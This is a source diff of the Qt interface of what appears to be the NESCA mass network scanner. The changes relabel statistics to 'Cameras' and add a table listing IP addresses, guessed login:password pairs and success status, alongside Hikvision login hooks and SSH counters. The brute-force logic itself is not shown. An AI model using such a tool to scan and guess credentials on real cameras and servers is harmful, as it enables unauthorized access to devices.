òåñòîâàÿ ñòðàíè
|
||||
òåõíè÷åñêèå ðàáîòû
|
||||
óñëóãè
|
||||
ôëåøêè
|
||||
îøèáêà
|
||||
íà õîñòèíãå
|
||||
Fatal error:
|
||||
mc.yandex.ru
|
||||
UNKNOWN HOST
|
||||
Ñàéò çàêðûò
|
||||
?partner
|
||||
õîêêå
|
||||
äîáðî ïîæàëîâàòü â
|
||||
ñòàòóñû
|
||||
âûñêàçûâàíè
|
||||
ôëýøêè
|
||||
ôóòáîë
|
||||
þìîð
|
||||
íîâîñòè
|
||||
íà ðåêîíñòðóêöèè
|
||||
îáíîâëåíèå ñàéòà
|
||||
îôèñ
|
||||
þðèäè÷
|
||||
ñòðàíèöà íå íàéäåíà
|
||||
ïðîäà
|
389
nesca_3.cpp
389
nesca_3.cpp
@ -15,6 +15,7 @@
|
||||
#include <qdesktopservices.h>
|
||||
#include <qmessagebox.h>
|
||||
#include "progressbardrawer.h"
|
||||
#include "ColoredIndexBarDrawer.h"
|
||||
#include "FileDownloader.h"
|
||||
#include "HikvisionLogin.h"
|
||||
#include <QCryptographicHash>
|
||||
@ -28,6 +29,8 @@
|
||||
#include <string>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
#include "Utils.h"
|
||||
|
||||
|
||||
NET_DVR_Init hik_init_ptr = NULL;
|
||||
NET_DVR_Cleanup hik_cleanup_ptr = NULL;
|
||||
@ -77,6 +80,7 @@ ActivityDrawerTh_HorNet *adtHN = new ActivityDrawerTh_HorNet();
|
||||
DrawerTh_VoiceScanner *vsTh = new DrawerTh_VoiceScanner();
|
||||
PieStat *psTh = new PieStat();
|
||||
ProgressbarDrawer *pbTh = new ProgressbarDrawer();
|
||||
ColoredIndexBarDrawer *pbTh2 = new ColoredIndexBarDrawer();
|
||||
|
||||
bool MapWidgetOpened = false;
|
||||
bool globalScanFlag;
|
||||
@ -90,6 +94,7 @@ QGraphicsScene *sceneActivityGrid;
|
||||
QGraphicsScene *sceneTextPlacer;
|
||||
QGraphicsScene *sceneVoice;
|
||||
QGraphicsScene *pbScene;
|
||||
QGraphicsScene *pb2Scene;
|
||||
QGraphicsScene *jobRangeVisualScene;
|
||||
|
||||
QString importFileName = "";
|
||||
@ -143,6 +148,13 @@ QFont multiFontSmallFontPie;
|
||||
QFont multiFontSmallFontArc;
|
||||
|
||||
|
||||
int PekoWidget::m_xPos = 305;
|
||||
int PekoWidget::m_yPos = 0;
|
||||
int PekoWidget::m_windowCounter = 0;
|
||||
int PekoWidget::offset = 0;
|
||||
|
||||
|
||||
|
||||
int psh_lul(PIP_ADAPTER_INFO zzaza)
|
||||
{
|
||||
int chc = 0;
|
||||
@ -350,8 +362,8 @@ void nesca_3::drawVerboseArcs(unsigned long gTargets) {
|
||||
ui->ipLabel->setText(QString(currentIP));
|
||||
ui->labelSavedValue->setText(QString::number(saved));
|
||||
ui->labelPendingTargets->setText(QString::number(gTargets));
|
||||
ui->labelRunningThreads->setText(QString::number(cons) + "/" +
|
||||
QString::number(BrutingThrds) + "/" +
|
||||
ui->labelRunningThreads->setText(QString::number(cons) + "|" +
|
||||
QString::number(BrutingThrds) + "|" +
|
||||
QString::number(gThreads));
|
||||
}
|
||||
|
||||
@ -389,6 +401,7 @@ void setSceneArea()
|
||||
sceneTextPlacer = new QGraphicsScene();
|
||||
sceneVoice = new QGraphicsScene();
|
||||
pbScene = new QGraphicsScene();
|
||||
pb2Scene = new QGraphicsScene();
|
||||
jobRangeVisualScene = new QGraphicsScene();
|
||||
|
||||
ui->graphicLog->setScene(sceneGrid);
|
||||
@ -400,6 +413,7 @@ void setSceneArea()
|
||||
ui->graphicTextPlacer->setScene(sceneTextPlacer);
|
||||
ui->graphicsVoice->setScene(sceneVoice);
|
||||
ui->pbgv->setScene(pbScene);
|
||||
ui->pbgv_2->setScene(pb2Scene);
|
||||
ui->jobRangeVisual->setScene(jobRangeVisualScene);
|
||||
|
||||
ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height());
|
||||
@ -411,6 +425,7 @@ void setSceneArea()
|
||||
ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height());
|
||||
ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height());
|
||||
ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height());
|
||||
ui->pbgv_2->setSceneRect(0, 0, ui->pbgv_2->width(), ui->pbgv_2->height());
|
||||
ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height());
|
||||
|
||||
|
||||
@ -687,14 +702,14 @@ void nesca_3::slotDrawTextPlacers()
|
||||
linuxOffsetKOSTYL = 3;
|
||||
#endif
|
||||
|
||||
QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt);
|
||||
QGraphicsTextItem *item = sceneTextPlacer->addText("- Cameras", fnt);
|
||||
item->setX(25);
|
||||
item->setY(94+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(118, 120, 130, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 121, 117, 121, penPT);
|
||||
item = sceneTextPlacer->addText("- Webforms", fnt);
|
||||
item = sceneTextPlacer->addText("- --", fnt);
|
||||
item->setX(25);
|
||||
item->setY(105+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
@ -708,7 +723,7 @@ void nesca_3::slotDrawTextPlacers()
|
||||
|
||||
sceneTextPlacer->addLine(190, 140, 210, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 141, 189, 141, penPT);
|
||||
item = sceneTextPlacer->addText("- Suspicious", fnt);
|
||||
item = sceneTextPlacer->addText("- Other", fnt);
|
||||
item->setX(25);
|
||||
item->setY(125+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
@ -722,7 +737,7 @@ void nesca_3::slotDrawTextPlacers()
|
||||
|
||||
sceneTextPlacer->addLine(270, 160, 290, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 161, 269, 161, penPT);
|
||||
item = sceneTextPlacer->addText("- Lowloads", fnt);
|
||||
item = sceneTextPlacer->addText("- --", fnt);
|
||||
item->setX(25);
|
||||
item->setY(145+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
@ -1162,22 +1177,24 @@ void nesca_3::slotUpdatePie()
|
||||
float degree = (16*360) / (float)100;
|
||||
|
||||
float perc0 = ((float)nAlive * 100) * degree;
|
||||
float perc1 = ((float)PieAnomC1/(float)(found) * 100) * degree;
|
||||
float perc2 = ((float)PieSusp/(float)(found) * 100) * degree;
|
||||
float perc1 = ((float)PieCamerasC1/(float)(found) * 100) * degree;
|
||||
float perc2 = ((float)PieOther/(float)(found) * 100) * degree;
|
||||
float perc3 = ((float)PieBA/(float)(found) * 100) * degree;
|
||||
float perc4 = ((float)PieLowl/(float)(found) * 100) * degree;
|
||||
float perc5 = ((float)PieWF/(float)(found) * 100) * degree;
|
||||
//float perc4 = ((float)PieLowl/(float)(found) * 100) * degree;
|
||||
float perc4 = 0;
|
||||
//float perc5 = ((float)PieWF/(float)(found) * 100) * degree;
|
||||
float perc5 = 0;
|
||||
float perc6 = ((float)PieSSH/(float)(found) * 100) * degree;
|
||||
|
||||
QString dataSaved = "Saved: " + QString::number(goods/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(goods) + ")";
|
||||
QString dataParsed = "Filtered: " + QString::number((found - goods)/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(found - goods) + ")";
|
||||
QString dataOnline = "Online: " + QString::number(found);
|
||||
QString dataAnom = "Anomalies: " + QString::number(PieAnomC1/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataBA = "Basic Auth: " + QString::number(PieBA/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataSusp = "Suspicious: " + QString::number(PieSusp/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataLowl = "Lowload: " + QString::number(PieLowl/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataWF = "WebForms: " + QString::number(PieWF/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataSSH = "SSH: " + QString::number(PieSSH/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataSaved = "Saved:\t" + QString::number(goods/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(goods) + ")";
|
||||
QString dataParsed = "Filtered:\t" + QString::number((found - goods)/(float)(found > 0 ? found : 1) * 100) + "%(" + QString::number(found - goods) + ")";
|
||||
QString dataOnline = "Online:\t" + QString::number(found);
|
||||
QString dataAnom = "Cameras:\t" + QString::number(PieCamerasC1 / (float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataBA = "Auth:\t" + QString::number(PieBA/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataSusp = "Other:\t" + QString::number(PieOther / (float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataLowl = "--:\t" + QString::number(0/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataWF = "--:\t" + QString::number(0 / (float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
QString dataSSH = "SSH:\t" + QString::number(PieSSH/(float)(goods > 0 ? goods : 1) * 100) + "%";
|
||||
|
||||
int dataX = 1;
|
||||
int dataY = 13;
|
||||
@ -1249,7 +1266,7 @@ void nesca_3::slotUpdatePie()
|
||||
item->setBrush(QBrush(Qt::white));
|
||||
sceneGraph->addItem(item);
|
||||
};
|
||||
//Anomalies
|
||||
//Cameras
|
||||
if(perc1 > 0)
|
||||
{
|
||||
item = new QGraphicsEllipseItem(PieX, 2, PieW, 97);
|
||||
@ -1350,18 +1367,19 @@ void nesca_3::activatePieStatBut()
|
||||
|
||||
void nesca_3::switchDataFields()
|
||||
{
|
||||
if(ui->switcherBut->text() == "<")
|
||||
if (!BALogSwitched)
|
||||
{
|
||||
BALogSwitched = true;
|
||||
ui->dataText->lower();
|
||||
ui->BAText->raise();
|
||||
ui->BATableView->raise();
|
||||
ui->switcherBut->setText(">");
|
||||
}
|
||||
else
|
||||
{
|
||||
BAModel->clear();
|
||||
BALogSwitched = false;
|
||||
ui->dataText->raise();
|
||||
ui->BAText->lower();
|
||||
ui->BATableView->lower();
|
||||
ui->switcherBut->setText("<");
|
||||
};
|
||||
}
|
||||
@ -1434,7 +1452,7 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event)
|
||||
void nesca_3::slotClearLogs()
|
||||
{
|
||||
ui->dataText->clear();
|
||||
ui->BAText->clear();
|
||||
BAModel->clear();
|
||||
}
|
||||
|
||||
int c = 1;
|
||||
@ -1952,7 +1970,7 @@ void nesca_3::smReaction()
|
||||
if(smBit_1 && smBit_2 && smBit_3 && smBit_4 && smBit_5 && smBit_6 && smBit_7 && smBit_8)
|
||||
{
|
||||
gDebugMode = true;
|
||||
stt->doEmitionDebugFoundData("[Debug mode ON]");
|
||||
ui->dataText->append("<img src='data:image/gif;base64,/9j/4AAQSkZJRgABAQEAAQABAAD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wAARCAAyADIDAREAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDxL4SfD7wnd/CHwzc33hfRbq9ubdZnuLnT4XkdmCooLlckfLu69WJr6yhQoulBuK2XTyPFxFebqOEBdA+H3hLxD4qnuE8L6KNOt0OyJdPhCt/CpK7ec8tz6CtFQpN/AvuQVZzp0bJu78zR1P4Z+FT4o0m3/wCEU0OC08prltunQjzAC6nd8vTKYx9fasaUcPWnOEIL3Wk9Fu0nb5XX3k/vaeH9tKT95aan0fJ+x34S1v8AZ/0vVLPwHoX9tRxm9bydJhFxPHIXd48hMsVWQBR1BiAHofyOnnPsc/q16jvhnL2dnskrLmS2VpLW26ufbTwcZ5ZToLStyqV+t3ryt+n6Hzp8NvDng268O6nodz4K8NXepwXQdLyTSrd32YKsu4rkgnaw/wB6v2ONKirrkX3I+NrVJwSmm9f6Zn+FPA/g2HSNHS78LaJNNcTS25eXToWYsp7kr68fjSjQpfyL7kKs6kpScJOySe58ZfEWzttO+IPie0s41is4NUuooY0ACqiysFAA4wABXy1dJVZpbXf5nq0m3CLfZH2P4a1Ga2+DXgxIXjjX+yUlfeCflWMKeh9Xz+FfVYe3sYei/I8rk5q0vU9C/Z58B6l42vYtJt0eK81K6cSOo5t4I8B5D6bc4H+0VHU152ZZlDLMDPFvV/ZXdvRHSsM8Vi44fZdfJdTvE8Fj4l/tD6xoeioYdMivV8PW8sIyILS0AiuJVzkYXy5ME8M20c5rwMslLK8keJrzvOV5u/Wc9V/XRHVjWsVioUKa91W0/urofZ3/AAiWmWOg3mm6T4hv5777M0VuLvWZXAbbgAqG2qO3C8dR0r8qnWg4KLjFLyR9TGE+fmd+nQ+bfEP7LGneJvGOp634CvLHRfFNj8uteC55FT7yKySpgkRbgyEYBibjDIQ2fq+H89xmBpKlmacobKXVLz7/AKHmZrhaGIl/s2/6nzD8VdF1Hwlrfh7Q5dPu7TWVv7k/2e8DLOZHkQqoQZLZLqFK5DcbSc1+qQxdCtS9vSqJx730Xr2PmqEKkakoTXSx8Q/FCyuNN+Jfi20u7WSxurfV7uKa1mQo8LrM4ZGU8ggggjtivmKsoznKUXdNs9OK5UkfRvh3xdJH8OPBJh08X1lbWsVneG4l8iGQrIsrwK+1yzmIKDtQhN4LHoD68sSvZKjT1m4/dpuccY8tSVSW1z7q/Yj8ZWP/AAqHxZ4qGkXB8bWxllutjCeOWaR3e3iiAwV3yyZ2MMsW4LBQF+Az2OIxFXD06srU4pJLz6yfn+SPYwzpqNScF7z6+XY9s+CPwEuvhb4HvmSS2bxxqVt5bXE53x2xPIizg5yxLSPg729Qq1z5rmcMdVhQh/Ahstr9Lv8AQvDYb2KdSWsn1Pz+1a6+J3izxfrWraf408VraW955SXw8QXVqu4syReXDESkfmNGVRNjhdwDEjJr6ujklCVKNqa112vuedUzGopfFodV8afEfjyGy8F/EafVbqLxRpaQaaviiwQWzXkM8H2u2LqvyiYI0ySxjMZ2qQNrbRyZXg6dCVXLq0bwleST15WnaVnvZqzj8+x31aqnGNeD12fpbQ+p/hD4ou/2gfBnh/X/ABj4V0y88V6JH/a2haxFGEkklt3gaUBesW92RMqSrfP8qbQG+ZzCnDK8XPDYaq7NK67X2T7m1Dnqw9pUjpdpf5n42/tKXtvqX7RnxUvLR/MtLjxXqssL4xuRryUqfyIr6jC2+r07dl+RxVNJv1PtP4B+HbXXvgZ4BuI7GfUNQ8NGSG6062s/tMqLdGK7guWhZlEsbfMjgMrbVjxnBNazzfL8qxChj58iqRvGWtrrRq6T1uN5bi8dR58JHm5Xquuu259mfsofDXU/Ddz4h1zVNNutPivEtra2/tAxCa58t5ZBN5McknkIglWNEJzhM4FeBnmb4PMYU4YGfMo7u1vz1LwWCr4Zy+sxs30PomK5R5nSOQGSIgMAeVOARn8xXxzae56+rR8q/GL4B3GhatKfDPiKLR9P1WWe4hsf7LhlubBmIa4NtdSyqIlLPkAo20vhQRwPpqnGOMwNCNOFKMmtE22rfJbnJh8iw2Lqt1ajiuyKPxH8N/Dzxf4W8PaL8R/G2keCfCGhS/aI7DT9VijaXbEIY0aR+cKvGVVmOcZHWvnMmzjMFiqmJadSc+vK7LZ6L/M93M8FhKVOMKOiSW+51XwP0n4a2VxJZfCnV7qbTEUSQakY7mRIbmbEixSSzKonhnC7lVTwB8rLviI7cdhsVWqPG4jS+j0te3X5HmUsTCNJUV0d/wCv6/Jn4yftJpJF+0V8U0lSOOVfFWqh0iOUU/a5chTgcenA+lfc4JWwtJf3V+SPHrWdWVu7P0Z/YL13w94z8OeHNH1XUYovGFjo0UFtIkwzqdiMlbeRejy2xB2j7wiYY+XeB8LxRl9eau9aTaa0fuytZ27c32u7V9z6XJ8fGg7Q0klZ67+v6dtUfd99fL4K8JXN/FaS6mtrEZjb2xUOyjrgnjgZP0HevAw0fYQ5VqbVpSxNaz0b7nCyfGnWXJlg8MWEcJG7fLqbFiPUkQgf561rLEwvazPbjw7VfxVkvk3+p2ujX58Y+DLPU9d0iCye5Rp1sncThFywRtzIv3kw/KgruwehNOslKLcz5/l9lWcISvZtX6Ox+Xf7aHjDw/8AtBfGbwx4b8E21peWthIlmdXQ74bllaWSQxoPlMSjd84/1hX+6EJ/QeG8rq4bDfvNOd3t5d31+Xb1PBzbHxcn/dR7J4p8Y614c8Ju+reKdUuLm6vIbi5uUuDArSoY/wB95cW1C0axxhMg7SkfZRX6FVwOHVGScLt338z4Sljq8qsby0T2Pzg/aauILv8AaR+K89teJqFtJ4s1Z4ryJlZZ0N5KRICvykMMHI454r5iEFSgqa6afcfXN82p9weAPgr4Z1v4VfD7V7HUJbDWk0ewuy0gkiKzfZ0O5JIycEEnDABhnqK+rhRp1qChUimmlp30PkamJqUa03TlZ3f5nvngX9pDx58N4dP0/wAUrD4ytYBsk1GRltr6VMnDbkBid8cYITdjJbOTXweK4PXM54Kryr+VrT0vqfQ0uI4yio16fzX+R6Afjb8ILi0GqtpWorNkv/Y/9mymR5OTgIjm3PPctt757183V4czKFbl9le/XT/M+jpcSUpYfk9vaPa9vltc8M+OH7Vtx45drW6vLbwx4diYt/Zkc63Nxcf3TcbVIx/0zGUz1L4BH0+D4ao0LVcwqJvsm9PK/wCq+R8/UzupJOGDptvvbT7jyb4QaBD4j+I58Q6fpc9p4e0qw+x6a89u0YubmUnzJU3cv8hKFjk9D1r7aglKonBe7FWPm8ROp7J+2leUnrrslsdZ42uLLX7yaOfbJpti3lh2bbG5Ugux/wBkuuPcIPWvQSueZF8jeh+cXxXge1+KXjGGSJoHj1m8RonTYyETuCpXsR0x2r42pOFWbnTd4t3TWzT2a9T7mhGUKUIyVmkr/cOsviz4402zgtLTxn4gtbW3jWKGCHVJ0SNFGFVVD4AAAAA6Yq1WqpWUn94PD0ZO7gvuRN/wub4gYx/wnXiXH/YXuP8A4un7er/O/vYvq1D+RfcjLvfHnibUppJbzxFq11LIux3nvpXZl9CS3IqHUm95P7ylRpLaK+5EMHjHX7WSN4db1KF4/uNHdyKV+hB4qVKS1TLlCMlaSubY+NPxCHTx34mHG3/kMXHTGMffrX29X+d/ezL6vR/kX3Ioj4m+MAbcjxXrgNu6yQn+0Zv3TL91l+bgjsR0pOtUaacnZ+Y1h6KfMoK/ojD1LUrvWNRur+/upr6+upWnuLq5kMks0jEszuxJLMSSSTySa5oQjTioQVktElsl2R0Ntu7P/9k='/>");
|
||||
}
|
||||
else if(smBit_1 && smBit_2 == false && smBit_3 && smBit_4 == false && smBit_5 == false && smBit_6 == false && smBit_7 == false && smBit_8 == false)
|
||||
{
|
||||
@ -1969,13 +1987,11 @@ void nesca_3::smReaction()
|
||||
HTMLDebugMode = true;
|
||||
stt->doEmitionDebugFoundData("[HTML Debug mode ON]");
|
||||
}
|
||||
|
||||
else
|
||||
{
|
||||
if(gDebugMode)
|
||||
{
|
||||
gDebugMode = false;
|
||||
stt->doEmitionDebugFoundData("[Debug mode OFF]");
|
||||
};
|
||||
if(code160)
|
||||
{
|
||||
@ -2085,7 +2101,40 @@ void nesca_3::slotPBUpdate()
|
||||
pbScene->addLine(4, 77, 6, 77, pbPen);
|
||||
pbScene->addLine(4, 88, 6, 88, pbPen);
|
||||
}
|
||||
#include <unordered_map>
|
||||
std::unordered_map<int, QColor> colorMap = {
|
||||
{ 0, QColor("#DC143C") },
|
||||
{ 1, QColor("#000080") },
|
||||
{ 2, QColor("#3CB371") },
|
||||
{ 3, QColor("#20B2AA") },
|
||||
{ 4, QColor("#00BFFF") },
|
||||
{ 5, QColor("#DEB887") }
|
||||
};
|
||||
int ciSz = 1;
|
||||
void nesca_3::slotPB2Update()
|
||||
{
|
||||
pb2Scene->clear();
|
||||
QList<int> cIndexes = stt->getColoredIndexes();
|
||||
|
||||
ciSz = cIndexes.size();
|
||||
int percValue = ciSz / 100;
|
||||
|
||||
for (int i = 0, j = 0; i < ciSz; i += percValue, j++) {
|
||||
int val = ciSz - i;
|
||||
if (val < percValue) {
|
||||
percValue = val;
|
||||
}
|
||||
pb2Scene->addLine(0, j, 26, j, colorMap[cIndexes[i]]);
|
||||
}
|
||||
}
|
||||
|
||||
void nesca_3::slotPB2DrawPointer(int pointer) {
|
||||
QGraphicsRectItem* rect = new QGraphicsRectItem(0, 0, 26, pointer);
|
||||
rect->setBrush(QBrush(QColor(0, 0, 0, 100)));
|
||||
pb2Scene->addItem(rect);
|
||||
//pb2Scene->addRect(0, pointer, 26, pointer, QColor(255, 255, 255, 160));
|
||||
pb2Scene->addLine(0, pointer, 26, pointer, QColor(255, 255, 255, 255));
|
||||
}
|
||||
void nesca_3::changeNSTrackLabel(bool status)
|
||||
{
|
||||
if(status) ui->NSTrackStatusLabel->setStyleSheet("background-color: green; border: 1px solid white;");
|
||||
@ -2094,8 +2143,24 @@ void nesca_3::changeNSTrackLabel(bool status)
|
||||
|
||||
void nesca_3::onLinkClicked(QUrl link)
|
||||
{
|
||||
QString lnk = link.toString();
|
||||
if (lnk.compare("[PEKO]") == 0) {
|
||||
PekoWidget *pekoWidget = new PekoWidget(x(), y());
|
||||
|
||||
QPushButton *pkExitButton = new QPushButton("x", pekoWidget);
|
||||
pkExitButton->setGeometry(285, 2, 10, 15);
|
||||
pkExitButton->setStyleSheet("background-color: rgba(0, 0, 0, 0); color: rgba(255, 0, 0);");
|
||||
pkExitButton->setFont(QFont("small_font.ttf", 7, 1));
|
||||
|
||||
QTableView *pkResultTable = new QTableView(this);
|
||||
pkResultTable->setGeometry(0, 5, 300, 195);
|
||||
|
||||
pekoWidget->show();
|
||||
}
|
||||
else {
|
||||
QDesktopServices::openUrl(link);
|
||||
}
|
||||
}
|
||||
|
||||
void nesca_3::slotBlockButtons(bool value) {
|
||||
ui->startScanButton_3->setEnabled(!value);
|
||||
@ -2103,10 +2168,95 @@ void nesca_3::slotBlockButtons(bool value) {
|
||||
ui->importButton->setEnabled(!value);
|
||||
}
|
||||
|
||||
//BA TablelistView
|
||||
QStandardItemModel *BAModel = NULL;
|
||||
QList<QStandardItem *> setRow(QString ip, QString loginPass, QString percentage) {
|
||||
QList<QStandardItem *> items;
|
||||
|
||||
bool isOdd = BAModel->rowCount() % 2 == 0 ? true : false;
|
||||
QStandardItem *item1 = new QStandardItem(ip);
|
||||
QStandardItem *item2 = new QStandardItem(loginPass);
|
||||
QStandardItem *item3 = new QStandardItem(percentage);
|
||||
|
||||
if (isOdd) {
|
||||
item1->setBackground(QBrush(QColor(255, 255, 255, 10)));
|
||||
item2->setBackground(QBrush(QColor(255, 255, 255, 10)));
|
||||
item3->setBackground(QBrush(QColor(255, 255, 255, 10)));
|
||||
}
|
||||
|
||||
item1->setTextAlignment(Qt::AlignHCenter | Qt::AlignVCenter);
|
||||
item2->setTextAlignment(Qt::AlignHCenter | Qt::AlignVCenter);
|
||||
item3->setTextAlignment(Qt::AlignHCenter | Qt::AlignVCenter);
|
||||
|
||||
item1->setData(QBrush(QColor(Qt::white).darker(160)), Qt::ForegroundRole);
|
||||
item2->setData(QBrush(QColor(Qt::white).darker(160)), Qt::ForegroundRole);
|
||||
item3->setData(QBrush(QColor(Qt::white).darker(160)), Qt::ForegroundRole);
|
||||
|
||||
items.append(item1);
|
||||
items.append(item2);
|
||||
items.append(item3);
|
||||
return items;
|
||||
}
|
||||
std::atomic<bool> isBAModelLocked = false;
|
||||
int nesca_3::addBARow(QString ip, QString loginPass, QString percentage) {
|
||||
while (isBAModelLocked) Sleep(10);
|
||||
isBAModelLocked = true;
|
||||
BAModel->appendRow(setRow(ip, loginPass, percentage));
|
||||
int index = BAModel->rowCount() - 1;
|
||||
isBAModelLocked = false;
|
||||
|
||||
if (percentage.compare("OK") == 0) {
|
||||
BAModel->setData(BAModel->index(index, 0), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||
BAModel->setData(BAModel->index(index, 1), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||
BAModel->setData(BAModel->index(index, 2), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||
|
||||
BAModel->item(index, 0)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
BAModel->item(index, 1)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
BAModel->item(index, 2)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
}
|
||||
else if (percentage.contains("FAIL") || percentage.contains("404")) {
|
||||
BAModel->setData(BAModel->index(index, 0), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||
BAModel->setData(BAModel->index(index, 1), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||
BAModel->setData(BAModel->index(index, 2), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||
|
||||
BAModel->item(index, 0)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
BAModel->item(index, 1)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
BAModel->item(index, 2)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
}
|
||||
return index;
|
||||
}
|
||||
void nesca_3::slotChangeBARow(int rowIndex, QString loginPass, QString percentage) {
|
||||
QModelIndex index = BAModel->index(rowIndex, 1, QModelIndex());
|
||||
BAModel->setData(index, loginPass);
|
||||
index = BAModel->index(rowIndex, 2, QModelIndex());
|
||||
BAModel->setData(index, percentage);
|
||||
|
||||
if (percentage.compare("OK") == 0) {
|
||||
BAModel->setData(BAModel->index(rowIndex, 0), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||
BAModel->setData(BAModel->index(rowIndex, 1), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||
BAModel->setData(BAModel->index(rowIndex, 2), QBrush(QColor(Qt::green).darker(160)), Qt::BackgroundRole);
|
||||
|
||||
BAModel->item(rowIndex, 0)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
BAModel->item(rowIndex, 1)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
BAModel->item(rowIndex, 2)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
}
|
||||
else if (percentage.contains("FAIL") || percentage.contains("404")) {
|
||||
BAModel->setData(BAModel->index(rowIndex, 0), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||
BAModel->setData(BAModel->index(rowIndex, 1), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||
BAModel->setData(BAModel->index(rowIndex, 2), QBrush(QColor(Qt::red).darker(160)), Qt::BackgroundRole);
|
||||
|
||||
BAModel->item(rowIndex, 0)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
BAModel->item(rowIndex, 1)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
BAModel->item(rowIndex, 2)->setData(QBrush(QColor(Qt::black).darker(160)), Qt::ForegroundRole);
|
||||
}
|
||||
}
|
||||
|
||||
void nesca_3::ConnectEvrthng()
|
||||
{
|
||||
connect(stt, SIGNAL(signalBlockButton(bool)), this, SLOT(slotBlockButtons(bool)));
|
||||
connect(pbTh, SIGNAL(upd()), this, SLOT(slotPBUpdate()));
|
||||
connect(stt, SIGNAL(updPB2()), this, SLOT(slotPB2Update()));
|
||||
connect(pbTh2, SIGNAL(drawPointerPB2(int)), this, SLOT(slotPB2DrawPointer(int)));
|
||||
connect ( ui->secretMessageBut_1, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
||||
connect ( ui->secretMessageBut_2, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
||||
connect ( ui->secretMessageBut_3, SIGNAL( clicked() ), this, SLOT( smReaction() ) );
|
||||
@ -2173,10 +2323,7 @@ void nesca_3::ConnectEvrthng()
|
||||
